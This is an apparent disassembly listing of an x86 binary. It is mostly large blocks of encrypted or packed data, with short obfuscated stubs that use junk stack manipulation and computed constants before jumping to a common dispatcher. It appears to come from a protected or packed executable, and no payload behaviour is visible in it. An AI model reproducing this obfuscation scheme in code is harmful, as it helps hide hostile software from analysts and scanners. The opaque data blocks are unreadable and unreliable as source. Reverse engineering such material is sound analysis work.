		dd 0C36BACFFh, 0C3941D87h, 6ADE3208h, 2FBEF816h, 5083B2C6h
		dd 855762B7h, 1D97F37Bh, 2218C394h, 4E5D0C04h, 0D9DE8F73h
		dd 5EA910E4h, 0E7219F63h, 0EB7194E6h, 28F78474h, 29C7D7B0h
		dd 538A7E8Fh, 5E324140h, 7Bh, 0FAD523D2h, 2E143216h, 17FBDADEh
		dd 0A9BD5BA6h, 21873BF5h, 1990F478h, 2317C394h,	18357ECFh
		dd 3A705024h, 0A0F421ABh, 379E854Eh, 160A460Bh,	4DC06EA2h
		dd 3AEB0837h, 826BDFE6h, 5CF1457Ch, 8AB34944h, 0A7324119h
		dd 5Dh,	0FBDADE41h, 46738471h, 259AA0A8h, 35933231h, 36BEACEBh
		dd 0C3947B52h, 0CA43EDD5h, 0FA3F83BAh, 0B2C62FBEh, 7B95F175h
		dd 201AC394h, 0DEE117CCh, 0EC980CD7h, 63C3941Dh, 9F573B1Fh
		dd 0C3941DEEh, 237BAA38h, 6F437E89h, 12E6E7C1h,	3240F0FBh
		dd 0F7CED4C1h, 5821CF03h, 1, 0FED3DEA4h, 7B56A30Ah, 54E66A97h
		dd 941DB4D0h, 0EBE635C3h, 0B5542367h, 0A4420E62h, 6987FB33h
		dd 4A59BE4Fh, 0EF38E577h, 2C136BD2h, 67356102h,	0B90D3049h
		dd 73FB6145h, 0BD9E0966h, 0E93E35AAh, 0DDC58E7Eh, 1AEED433h
		dd 816B66B3h, 287D365Ah, 3B1FE3D2h, 0DEFECE1Ch,	0F150AB7Ch
		dd 123C1091h, 2145D751h, 3A618AA5h, 0D736D02Ah,	2303F7C2h
		dd 3A618AA1h, 9B13D024h, 3A618AEFh, 52261A60h, 0DAAE91EBh
		dd 0D7AB3A7Ch, 9E0786D2h, 4ABBB895h, 0D1B80C39h, 5B0589C4h
		dd 0D9C44C59h, 0F855F3CEh, 5D4892AFh, 4B8F734Eh, 0F3EDA9Dh
		dd 3A2C3688h, 0FEh, 760D6FC2h, 0FF1140E4h, 0A49EBD9Eh
		dd 211C69D0h, 0F5C0D532h, 724F5801h, 0D7D6D08Eh, 0BE8E52Eh
		dd 35C36089h, 5D492Ch, 6F970000h, 5BE5770Ch, 0C36D54AAh
		dd 941D0733h, 0C81268C3h, 4EF8C7DDh, 64CB70FAh,	0A153500Fh
		dd 82E6D127h, 0CDF49064h, 26753C6Bh, 0A1F6A72Bh, 0EDD82D9Ch
		dd 6865BF19h, 0EBFA3C16h, 8953E8B3h, 6BCD3165h,	55AA5B3Ch
		dd 289CABFDh, 0F956F0D4h, 0FE60AE5Ah, 1276BAF7h, 7832C1h
		dd 0BD5A0000h, 969E4A50h, 93F7CBBFh, 613DEB2Fh,	83C1DB1Bh
		dd 6373FC13h, 1849DD0Fh, 55BD9FF0h, 0E730996Dh,	0EFF09EAh
		dd 347CB0Ah, 221F68E5h,	0D7C9965Eh, 90C03A61h, 0AE9BEC15h
		dd 8893E9B5h, 0C2BACA62h, 0CD354473h, 0FD02F379h, 0D22726C0h
		dd 0F7C675E7h, 471DDD5Dh, 0AB56BA54h, 0F686DCE9h, 1777FF6Dh
		dd 984E65EEh, 5D726479h, 45C6BDC9h, 0FC8322Eh, 50B42555h
		dd 0D6F7583h, 360D1580h, 82C60E42h, 5C3941Dh, 8113D93Dh
		dd 0ADC10E14h, 0C3941DD9h, 8C7054AEh, 0B6D69E48h, 39BD8608h
		dd 0B1A41BC1h, 89A8138Fh, 70D931DFh, 0DCC92A27h, 0DA0AFECBh
		dd 99AFF67Eh, 58414C66h, 4E1724Fh, 0A714C6F3h, 0C8C6FEFEh
		dd 5A778202h, 0ACBE92F6h, 83324C38h, 51FFC356h,	0CB0A10F9h
		dd 6B1F9721h, 91568332h, 8332691Dh, 3B84FE56h, 342129C7h
		dd 7F88717Ch, 85179142h, 83326561h, 0F305EA56h,	381C70C4h
		dd 0DFEA3F0Eh, 3946Bh, 843C0000h, 0FDD4DE9Ch, 7A57A009h
		dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
		dd 40798871h, 0CFFA0DFCh
		db 7Bh,	0CFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	72F2h
		mov	[esp], eax
		push	61ACh
		mov	[esp], edx
		push	edx
		push	3A5C5EA1h
		pop	edx
		dec	edx
		sub	edx, 344A2797h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	3678h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		add	dword ptr [esp], 5CD313E1h
		pop	dword ptr [edx+8]
		push	eax
		mov	eax, 651146E0h
		not	eax
		sub	eax, 3742024Eh
		dec	eax
		sub	eax, 6D9A2EFh
		sub	[edx+8], eax
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 4Ch
		dd 8FA9DC78h, 77520CECh, 0C32CC656h, 3B6EB8BDh,	0C5030612h
		dd 52D6E0FFh, 6C9756CFh, 30AE24EEh, 7844114h, 50152638h
		dd 8ED62E0Dh, 0A05B22CAh, 0ED877B5Eh, 2D432BD5h, 1B391F84h
		dd 15517ABAh, 1C90315Ah, 1BF215FBh, 0BA752A30h,	0F189084Ah
		dd 56626533h, 746B0FA4h, 0CF5550ABh, 445C2588h,	0A76A23D2h
		dd 3A0D264Ch, 99D910A3h, 0CDE95DDDh, 0CF9B6868h, 0B3993A7Ah
		dd 422675A1h, 58B30397h, 775490Ah, 0B8C07379h, 225B0191h
		dd 8D8D2625h, 6123D5Bh,	0E860Fh, 89600000h, 0B05AD85h
		dd 65B52306h, 61060B2Ah, 174D8D89h, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 528FEFC3h
		dd 0C7ED27A8h, 0B011985h, 5D1406h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 85C7B41Eh
		dd 60B1009h, 0
		dd 3365B58Bh, 0B5FF060Bh, 60B2705h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0E9C35242h,	0B06A41h, 891A4352h
		dd 3800FF9h, 80000000h,	0BD3111F3h, 60B0FB5h, 0AC595FFh
		dd 0E281060Bh, 3EE7F7EEh, 95FF006Ah, 60B32DDh, 6BEBC08Bh
		dd 3EA10E7Ch, 0A8EE9A81h, 5EC837B3h, 94DB3696h,	6393804Eh
		dd 0F057B7B1h, 300A3A7Eh, 8F0E823Eh, 0E7FC7A7Bh, 675A107h
		dd 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h, 51C459F0h, 0D71F07F5h
		dd 0D97FE656h, 20147FCBh, 0D997F7C2h, 0DA674033h, 0FF4EAD6Bh
		dd 0FAE7B94Eh, 7CCD8D7Fh, 6CCF1AB1h, 0CADA6482h, 0FE480086h
		dd 526D3610h, 0EB83364Eh, 8757AF04h, 512E97Ch, 0FE080000h
		dd 0A4F31CC7h, 52A14E95h, 0F30BE47Fh, 0A2F617CCh, 0EAF14093h
		dd 2D360913h, 5D86BBC0h, 8A6964B0h, 263D081Dh, 0EB9F17D5h
		dd 7CC58620h, 0D5DE178Dh, 5FA514F8h, 112F360h, 8C994034h
		dd 91CCDB1h, 93E55438h,	1E69D0A4h, 0A7E15F23h, 267C5426h
		dd 0EE357EA7h, 941D0246h, 44E8C3h, 87C3941Dh, 0E408C4B3h
		dd 0C3941DE0h, 0DB3F1367h, 0AE99EF18h, 0B9CA3BB5h, 4B51388Ch
		dd 684C8074h, 0C4FAF0AFh, 0CE78C421h, 0AA1E297Fh, 112C75A0h
		dd 3C0116F7h, 0A598E148h, 2E1368D1h, 0B5306A5Ah, 69643CD9h
		dd 0B8CC7480h, 4B50398Dh, 6A4E8276h, 0F700ED76h, 39E476DAh
		dd 0A232DCE3h, 0C3945C23h, 0FC1491EBh, 3241324Dh, 5764h
		dd 33BD8000h, 0BD7B0F8Ch, 2F2795E8h, 0C3948D5Bh, 1A350D2Ch
		dd 0D944BA87h, 300114E5h, 6FDE084Ch, 8B5B2F1Ah,	0C394DDF9h
		dd 9A6E7F35h, 3241B173h, 15Eh, 0D7DEA600h, 0BAC416FAh
		dd 941D5632h, 47E1D9C3h, 3E82BFC6h, 8408374Fh, 0AE57564Ch
		dd 1C896A67h, 0DF253E0Bh, 17FBDADEh, 9E625FA6h,	3EE7E620h
		dd 0EF18DBFAh, 72DBAF9Ah, 0D5C02A27h, 0C3078BC6h, 88282D25h
		dd 0F356877Dh, 6F533240h, 0C9000000h, 4FF9C4DCh, 0DDADEE9h
		dd 941DED99h, 0FF1862C3h, 523E88A6h, 0C9BD9113h, 49E31160h
		dd 49FD4B99h, 448C7054h, 842077A6h, 9EF24673h, 9B2A8CBAh
		dd 0CC172E72h, 12E6D923h, 986C53ABh, 5AAE3F65h,	3241CEA3h
		dd 438Eh, 0A5F32200h, 0FADEE93Fh, 2E143216h, 17FBDADEh
		dd 0ADBC5EA6h, 656FFFD8h, 0CFFA0FFEh, 0D60267EBh, 0EBEA2ED7h
		dd 0D7DE8808h, 0D9C416FAh, 0CB0FF3CEh, 1D38491Dh, 0B8F2C394h
		dd 0F136D72Dh, 1133240h, 0FD000000h, 0AFED3DEh,	0F17B56A3h
		dd 262B964Ah, 6EA9254Ah, 6FE27BCAh, 0F058F671h,	59BE4F45h
		dd 0B2EC774Ah, 638B51EAh, 0BD9E5C16h, 0AE1FE3D7h, 1A8B6865h
		dd 98483C09h, 3A6160EAh, 5D21186Bh, 0DBAF96ECh,	176B7A3Eh
		dd 8C9F0E12h, 60A7234Bh, 0D2283A61h, 0B8B141FEh, 0A99F42EBh
		dd 43A8257Fh, 0B4898E36h, 11628350h, 368F9EFFh,	8876386Eh
		dd 0E9062C24h, 0A115096Dh, 2E92AFF8h, 5041FE70h, 0DBF202A5h
		dd 0A807613Ch, 40A9247Eh, 4FD91A37h, 7FDDA93Dh,	68523A61h
		dd 52AD5CBEh, 5B842C36h, 60000001h, 0E4760D6Fh,	9EFF1140h
		dd 0D0A49EBDh, 0ADFA1C69h, 0FE6D373Ch, 7AAB48ACh, 477A8929h
		dd 510C44F3h, 5C542DB0h, 0C9B00478h, 0C95B81BCh, 60A721A5h
		dd 0B25CA63Ah, 0AE99EF5Eh, 162973DAh, 701498A2h, 0F73A60A7h
		dd 7C89A383h, 7372B402h, 9E4C798Ah, 447B4821h, 153341A4h
		dd 0D027D652h, 0F391DE1h, 3513FC2Dh, 4AD52Ch, 56470000h
		dd 1B6F8740h, 0EC3A6032h, 0AE94B296h, 0E5770C6Fh, 941D5541h
		dd 7AE0DAC3h, 1D0044E8h, 0B387C394h, 0D1B5BD95h, 0C3C3941Dh
		dd 0A954DCE9h, 57D4635Eh, 0A77B55C6h, 2B704CFAh, 76A2CA10h
		dd 0F9C394BBh, 0A7A35281h, 0CD000000h, 0E4760D6Fh, 9F052140h
		dd 27B1C3BDh, 60CBFB8Fh, 0FE764C3Ah, 3A60CB8Ah,	0C0B251Dh
		dd 0D9B72436h, 5964C369h, 0D4858DBBh, 806DF6C3h, 65905A77h
		dd 307211Ch, 60B39C23h,	0E7DA233Ah, 6C59AA13h, 0E9E43E98h
		dd 45409095h, 0E57E4B5Ch, 9258E3B9h, 72BFA71Ah,	0FE42B844h
		dd 3E4AE26Ch, 0F130766Dh, 28B05034h, 0FE05F1Ah,	38D6CAF5h
		dd 1F5C0D5h, 59119C14h,	6F5AAD43h, 0A9DD519Bh, 3E30760Dh
		dd 5E8CE0C4h, 64017BD6h, 2374A14Eh, 24A0C416h, 0AB2E5BCEh
		dd 0BB5AB957h, 2973526Fh, 0D16EA216h, 9EF2FD8Bh, 0D6FBF45h
		dd 0CD40E476h, 42BD8611h, 0D0259478h, 84917EE5h, 2B6DC549h
		dd 0BB3ECEAh, 1A6F9411h, 0A89E3D2Fh, 51333CC0h,	65E9D82Fh
		dd 4023CD21h, 435097C4h, 8A889394h, 71C5F403h, 91AF31Dh
		dd 99E1483Ch, 0B9ACD84Ch, 0DF23BCCCh, 0AEEA17FBh, 90ADF61Fh
		dd 6451A243h, 113F90h, 0BD590000h, 0EBCFEF1Eh, 0F9DDA198h
		dd 0E14CA25Eh, 0DEA49C47h, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh, 815D5455h, 4C5h,	4ED8300h, 5C242C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, 24FB0DE8h
		or	ebp, 1B64717Bh
		sub	ebp, 17B87FBDh
		inc	ebp
		sub	ebp, 1F2297B4h
		mov	ebx, ebp
		pop	ebp
		not	ebx
		add	ebx, 2311AAEh
		xor	ebx, 0FF1E89F4h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	2685h
		mov	[esp], ebx
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0E755h
		dd 37E01506h, 0A1F6E66Fh, 2A91B856h, 12423CB8h,	0FFC50306h
		dd 7D4084E0h, 305B1E41h, 0AA904367h, 0BC64463Ah, 8C4B003Eh
		dd 1B31087Dh, 0A496C74Eh, 81210F71h, 9C8B8D3Dh,	1D1DDD01h
		dd 4A12A20Eh, 9EC01F0Ah, 0E7EED817h, 875D9C77h,	86EB661Ch
		dd 0CA4CE749h, 544FC101h, 2DD50976h, 9850E423h,	0E4F0951Fh
		dd 149F4714h, 6B6AC43Eh, 0AA323702h, 0A85D2301h, 8EDE1C4Dh
		dd 949D9040h, 3B04EB64h, 0E91CC8B7h, 573h, 825168BAh, 3C271265h
		dd 6A89C0D3h, 855E65BDh, 362D1068h, 7F85588Fh, 2D729340h
		dd 0D222C310h, 7A8F78FBh, 8567944Fh, 865E6561h,	0A51BEAC5h
		dd 0C3721EBDh, 38AFD92Ah, 0DCCEBA32h, 7941C394h, 8D357ECFh
		dd 84F84C7Bh, 176DDCA0h, 0C9DACB28h, 54A108FCh,	0DAAE9BECh
		dd 0AD5882E6h, 40D16E55h, 6EDC7CD3h, 0C715FD2Bh, 56AB8E98h
		dd 5A97820h, 0C394D341h, 6E98FCC6h, 0D5B9889Fh,	0A226A7FDh
		dd 0FA142B73h, 28CB0613h, 459EA9FFh, 0A3F45CA8h, 8AEE2296h
		dd 2AA3406h, 0C394D346h, 0F657F1C9h, 0D289CA1h,	87917677h
		dd 297AAB48h, 0F94D7089h, 15DDA185h, 0C394D374h, 13E9E4BEh
		dd 3241BEFAh, 5DD7h, 0D5DE3100h, 0C92D186Dh, 1D9FED45h
		dd 5D57C394h, 0F091B850h, 1B83240h, 44000000h, 94450BDh
		dd 2A276EDFh, 106994A6h, 0FB0A032Dh, 8D71485Bh,	38E15549h
		dd 0A3F825E2h, 1ED62A9Eh, 0C3941D6Ah, 0DDA185FDh, 30C877F5h
		dd 0D9869C13h, 4441638Dh, 0FA79485Fh, 4C58F80Dh, 55498D71h
		dd 0DADE768Eh, 96C517FBh, 2A5F7E5Dh, 0CBD0B904h, 0A2F558F6h
		dd 33752397h, 7EB12EB2h, 0CFB93689h, 0FD070620h, 0A3F411C2h
		dd 0ED182296h, 2CA97595h, 8FD1680Bh, 45E327ABh,	9E5BB9C8h
		dd 5FA50EF0h, 0B564E8CCh, 3DEC506Fh, 8475D9E4h,	98FC4071h
		dd 0D4A6277Dh, 0AE626331h, 3241986Fh, 7FBAh, 0A43600h
		dd 0C394B144h, 0E359F7CBh, 0CFBB33BDh, 40C3941Dh, 3B41CC7Ah
		dd 0BAC9B004h, 0D9D33387h, 0E2DD27CCh, 248C9471h, 102F77DFh
		dd 8574D83Ch, 0CF5F9D7Dh, 756B0E75h, 8A8AD11h, 95D607FDh
		dd 0D9C43241h, 8D54F2C1h, 6Bh, 4550BD6Bh, 0A24C8074h, 9A6E51ABh
		dd 297FE533h, 7256AA1Eh, 77816B8Eh, 1D0541E5h, 0B08AC394h
		dd 941DD4B0h, 0AEF25BC3h, 8BEF2397h, 0A54A5B5Dh, 5F3605Fh
		dd 70FAD7DEh, 1D3A4EE6h, 0B58DC394h, 0CEBFB79Bh, 51C3941Dh
		dd 0B891E048h, 0F309F044h, 0FF2578CCh, 2E649CEEh, 9FE8159Fh
		dd 4CFADEA2h, 40F13BD2h, 11632h, 0DEFE0000h, 0C00AFED3h
		dd 56F0CFD5h, 4597A2F7h, 0D6704958h, 0C0CDC772h, 62F1C8DBh
		dd 9D36834h, 9EFC90E5h,	0FF6D55BDh, 0C08DF96Dh,	38023A60h
		dd 46533A0Eh, 0DF57E10Bh, 3A60C0ABh, 7649533Ch,	0BC6A4E82h
		dd 7AB9CA3Bh, 60C096F2h, 320D173Ah, 0B58D0A4Eh,	745ED51h
		dd 323A60C0h, 0B05DE7E6h, 0ACE05465h, 437E8B82h, 628A1490h
		dd 3A60C066h, 967791E9h, 18AAB08Dh, 0C062668Eh,	9DE53A60h
		dd 60C03155h, 32BAB63Ah, 3A60C056h, 638DE1D9h, 6BB05DEFh
		dd 4055B856h, 0DDD78175h, 15DE2BD0h, 60C0F591h,	1520743Ah
		dd 0E77C50AAh, 35CDF415h, 162DD2Ch, 6F3B0000h, 40E4760Dh
		dd 0BD9EFF11h, 0EFE2319Eh, 7FC3271Bh, 0AB48858Eh, 42EA297Ah
		dd 3A60CF06h, 6E2826C9h, 6F12692h, 0E312D83Ch, 0BB8FB990h
		dd 0F4C1D2h, 887C4359h,	16FAD921h, 0B65F6EA8h, 0A9ED5160h
		dd 3CC9CBB5h, 6CF7C2D7h, 35337990h, 5C502Ch, 6FBC0000h
		dd 5BE5770Ch, 941DB7D3h, 24C238C3h, 1DF6224Ah, 179C394h
		dd 891DAFBDh, 0C3941DFDh, 7B810872h, 729CF044h,	941DE6E2h
		dd 201F67C3h, 0AC9BED5Ch, 0A9247ED8h, 28A5FFD5h, 0C8122972h
		dd 941D70A4h, 5083F7C3h, 565367D4h, 8D951F79h, 0D6610A0Ah
		dd 0F711A0E2h, 0B300h, 50BDA800h, 7087764Bh, 6F99FD41h
		dd 24364D2Fh, 9F05E180h, 0A0146EBDh, 0D74AACF9h, 7687E5EEh
		dd 8461F2D6h, 0A944673h, 60B2E6E2h, 0F711693Ah,	0B38CD313h
		dd 95873A60h, 9BCD3926h, 7997FD60h, 3C49AE3Fh, 52B68394h
		dd 0BCC7D581h, 8F1D06AEh, 146E4471h, 4ACF9A0h, 1C70C4F5h
		dd 96E55438h, 1B66D7BBh, 0A2E45226h, 71159923h,	0F6307612h
		dd 0DF6DA88Ch, 3FE9E82Eh, 6A326865h, 12FB8F27h,	3C423076h
		dd 6C40BA05h, 0D34D76FEh, 0A2534E67h, 49C6605Dh, 0F77C9EE4h
		dd 8E0BA5C3h, 0C812766Ah, 8FCCBDDh, 0CF591A34h,	0BFFD6DEh
		dd 926653A2h, 0B6AC5ABEh, 0E4760D6Fh, 85DC5B40h, 1AEED4BDh
		dd 90166BD0h, 0E85D1EA6h, 0F8DCA099h, 96E36A84h, 0F6EAE72Eh
		dd 17CE36Dh, 3C11D364h,	1A6FDE08h, 0EB5F66BAh, 0E3C7FE02h
		dd 0C4313B8Fh, 0DD3185B0h, 0E53EA722h, 0D07E671Fh, 0A38D5304h
		dd 5C694353h, 8C5762B7h, 573B1663h, 0BBA190E6h,	8408354Ah
		dd 9CA3F940h, 0D63AD428h, 53271267h, 24A895EAh,	4539B4EEh
		dd 4EDF8B8h, 0F01DC6F3h, 6126AAA7h, 3, 0DE9C848Bh, 0A009FDD4h
		dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h
		dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 57E68956h,	4BFh, 5FFE0100h
		dd 8704EE83h, 685C2434h, 5CD5h
		db 89h,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 310F792Dh
		dec	esi
		xor	esi, 371D3A48h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, edx
		mov	[ecx], ebx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 8A23h
		dd 18BB76DEh, 0B8C8927Eh, 6124858h, 0E0FFC503h,	19AD8174h
		dd 5F42988Dh, 6B4A24E4h, 141EC89h, 4D866753h, 6BA76F3Dh
		dd 2BD2CA1Ah, 16344403h, 60416705h, 198C8DA5h, 27213D35h
		dd 0E7F01B9h, 1BBA38FCh, 54901ACh, 40C63D80h, 466F841h
		dd 16BBFFA3h, 2DA9B6F4h, 531848DDh, 0FDEA04EBh,	45E90697h
		dd 0E9000005h, 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h
		dd 52E1724Dh, 95A8F00Bh, 6558A14Eh, 0C80711FEh,	9CA9FA2Bh
		dd 3EB6BA47h, 0C586544Ah, 13826EDDh, 0D740340Bh, 0FFC485E0h
		dd 42206FEh, 4150BD1Eh,	1A6FDE08h, 0AEF25B2Fh, 56A34C97h
		dd 0F004F17Bh, 0F31D71C5h, 6865AE1Fh, 0D7E235E4h, 0FC092363h
		dd 2C370217h, 0CA2C75A0h, 0E93CE29h, 0CB11752Eh, 94FD27A3h
		dd 0B452A8C3h, 0E3704F59h, 0B92DF202h, 0C394FDCDh, 0B0047842h
		dd 398DB0C9h, 860A4750h, 0DF1C0D7h, 79159010h, 20C9C4DCh
		dd 8D7AF9D4h, 69F94D78h, 0C394FD18h, 37CDD8D2h,	3241D116h
		dd 8533h, 0D5DEDD00h, 0AEDC14F8h, 66C3941Dh, 0A41BA12Ch
		dd 90CBE8C9h, 0F175E7EAh, 0C3945E95h, 1406201Ah, 324133F5h
		dd 1DCh, 0D7DE3800h, 64812821h,	48AC1455h, 292073A2h, 43C761A5h
		dd 0ACBE8B9Ah, 0F0A9BC0Fh, 2F47E052h, 0C394315Bh, 0BF2D62Ch
		dd 67ACEF1h, 65DA60E8h,	4CE044C7h, 0C3943538h, 6F8C4B8Fh
		dd 88FC70B9h, 1FC3948Ah, 2429C73Bh, 3313E7DEh, 0F007ECF9h
		dd 679612C1h, 795D2110h, 18357ECFh, 0DADE3DDBh,	5FA617FBh
		dd 0E6209E62h, 0DBFA3EE7h, 472F8C18h, 43567D3Eh, 899A739Dh
		dd 1261C8BCh, 0BA32D3Fh, 0C394FB7Fh, 0F45C8AF0h, 4E424351h
		dd 3241D88Fh, 679Ah, 0DADE6200h, 708471FBh, 95A7AB45h
		dd 592D1068h, 3742CB65h, 8C5EB61Ah, 0A241B61h, 0ACF41DA8h
		dd 4F5A4B91h, 0F213D472h, 7A2397AEh, 94A91D24h,	0D20B810Ch
		dd 0DF3240F2h, 43h, 0DDADE39h, 941DED99h, 0B11862C3h, 0A1E56964h
		dd 0F8209F4Dh, 8865D493h, 2F9E729Ch, 71AEED9h, 0D12BD0DDh
		dd 0AFB75EEh, 3A20CEFBh, 16FAD7DEh, 941DAFDEh, 0A02D67C3h
		dd 40F0C168h, 1E832h, 0DE740000h, 0A30AFED3h, 6A977B56h
		dd 2B769F2Eh, 3143CD16h, 941DC9BDh, 1A925EC3h, 0C3941D6Eh
		dd 8BA599E1h, 3D476933h, 665ABE02h, 0FC6570F4h,	76A7BD9Eh
		dd 16F51322h, 0A4F1582Ch, 0CF3E4AA9h, 0C00488B7h, 0E7D22726h
		dd 0C0B1D313h, 0EF343A60h, 67BF6ED2h, 0C04206AEh, 0FDC53A60h
		dd 0A0F03599h, 0C546925h, 45E97B81h, 3A60C001h,	0A983BC86h
		dd 0B08CEB76h, 0BFC845E3h, 63B45182h, 0CE58E256h, 90D05491h
		dd 3F37AAD0h, 3A60BF4Bh, 0C548E6DCh, 483185B0h,	0D0B90D30h
		dd 0E2078BCAh, 0FD5B37B6h, 0B0C52ABBh, 8BA25E85h, 0A62C3592h
		dd 159h, 0BB33BD4Eh, 0C3941DCFh, 0F0CC7A40h, 0C6F302ACh
		dd 85F478E2h, 7BD9EFFh,	92BC8196h, 10F94DB5h, 9F29CA07h
		dd 0A495E00Dh, 60CFD8ACh, 0DEAAC23Ah, 513A60CFh, 7A94EE69h
		dd 0A14B8693h, 0CFEB9F17h, 67C3A60h, 48DA60E8h,	60CFA024h
		dd 0ECD3293Ah, 675B2418h, 0DD3344C9h, 16FE14AEh, 8D7155B4h
		dd 678F19D3h, 3A608063h, 36709EE4h, 8454EB7h, 42EA33E2h
		dd 5F23073Eh, 806D198Dh, 98E23A60h, 2FE98AA4h, 2C358DFEh
		dd 382Bh, 0C6F3500h, 5541E577h,	0DAC3941Dh, 0B0D41CE0h
		dd 0A2C3941Dh, 75405540h, 1A34D81h, 0B6CDAE84h,	1D1400A4h
		dd 271BC394h, 9FC53Ch, 891B0000h, 6BE26165h, 729CE63Ch
		dd 760D6F8Ch, 52140E4h,	54AEBD9Fh, 53AB5AE0h, 8AA4986Ch
		dd 915B7683h, 54251064h, 13D4724Fh, 2094A1F2h, 60CA7F00h
		dd 9F2E4A3Ah, 67638B15h, 0E83A60C8h, 0B7E10D49h, 1377AD08h
		dd 320F18F5h, 1C277521h, 750591CEh, 0B2AF33BFh,	5C52DA94h
		dd 0EF447153h, 0A1970B70h, 3F13E1CCh, 0A491E24Bh, 0C48024B6h
		dd 4B307679h, 0C471D977h, 4ABBC1CCh, 56DE0C39h,	30767932h
		dd 1BA34DB5h, 0FC70FA81h, 4E6782E2h, 2EDF0D75h,	0E97DEFE6h
		dd 2E44069Dh, 65FE2812h, 760D6F9Fh, 5CAB5AE4h, 0B9849C6Dh
		dd 0E6E9C78Fh, 7ABD85h,	8DB8CDBCh, 0A76CB956h, 0D2122F76h
		dd 3A79AAB6h, 19EDC139h, 0FC3BBAC9h, 7F8EA43Dh,	0DF258D96h
		dd 0B6578CE0h, 84B3C56Dh, 156DDCA0h, 0C4D13C2Eh, 4EEB5F89h
		dd 8A31BB4Ah, 3DB13E30h, 3AFCC949h, 455BE4DEh, 0BDB34C0Eh
		dd 8C1CFF23h, 4750BD6Bh, 0E635E00Ah, 4DBA3DEBh,	0BC8D9838h
		dd 61A46383h, 766AC113h, 0D2E139E4h, 14FC2A6Eh,	0AB3h
		dd 50BDDD00h, 40840841h, 0DE07FDA6h, 0A009FDD4h, 27967A57h
		dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h,	8871C5FCh
		dd 0DFC4079h, 0CF7BCFFAh, 81E38953h, 4C3h, 4EB8300h, 31241C33h
		dd 1C33241Ch, 89515C24h, 4C181E1h, 83000000h, 0C8704E9h
		dd 2C895C24h, 48926824h, 0C890000h, 3685224h, 5A27B037h
		dd 2217B951h, 81491FB9h, 0D34D38C1h, 59CA2127h,	6E35F281h
		dd 0D5890192h, 5599685Ah, 24890000h, 24048324h,	89505904h
		dd 84189E8h, 8124048Bh,	4C4h, 240C8B00h, 81E28952h, 4C2h
		dd 4C28100h, 87000000h,	0FF5C2414h, 835D2434h, 0C8E904C4h
		dd 5FFF930h, 140BD5Fh, 0D471C9FAh, 0B0AF69F7h, 124DE0B8h
		dd 0FFC50306h, 4D24B9E0h, 1BC1056Ah, 695B737Dh,	8D972565h
		dd 6CE9613Fh, 3FFE4203h, 439F2024h, 6279E06Dh, 7791480Eh
		dd 314F5E34h, 0F485165Eh, 205BE033h, 0C1F72E1Dh, 0E6CBC80Eh
		dd 7EE7F29h, 0F61D4B6Bh, 1C5E6403h, 1328CD38h, 656DED3Dh
		dd 5E80810h, 2B5B0A71h,	3D716600h, 341EB53Ah, 81360E59h
		dd 445BF815h, 10EB0Ch, 3 dup(0)
		dd 8B000000h, 0D08B66C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h
		dd 60B29h, 53501974h, 2DB8C08Bh, 89000004h, 0B2A3585h
		dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh,	17740006h
		dd 2DB85350h, 89000004h, 0B2A3585h, 99D8D06h, 0FF060DB0h
		dd 89585BD3h, 0B20818Dh, 85BD8906h, 66060B16h, 0C08BD78Bh
		dd 0B91B589h, 8D8B060Bh, 60B0E41h, 83D0B70Fh, 840F00F9h
		dd 7Eh,	0A3A9F681h, 8B645929h, 2C3Dh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0AE936D2h, 0C9000000h, 0C9C4912Ah, 491EA6Bh,	0FFF0B84h
		dd 3D84h, 6E800h, 22170000h, 75798492h,	7E9h, 0A9A47E00h
